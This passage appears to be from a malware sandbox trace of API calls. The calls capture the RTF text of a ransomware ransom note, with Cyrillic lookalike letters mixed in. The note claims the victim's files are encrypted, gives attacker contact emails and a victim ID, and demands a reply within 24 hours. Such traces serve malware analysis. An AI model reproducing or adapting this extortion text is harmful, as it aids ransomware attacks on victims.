sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur 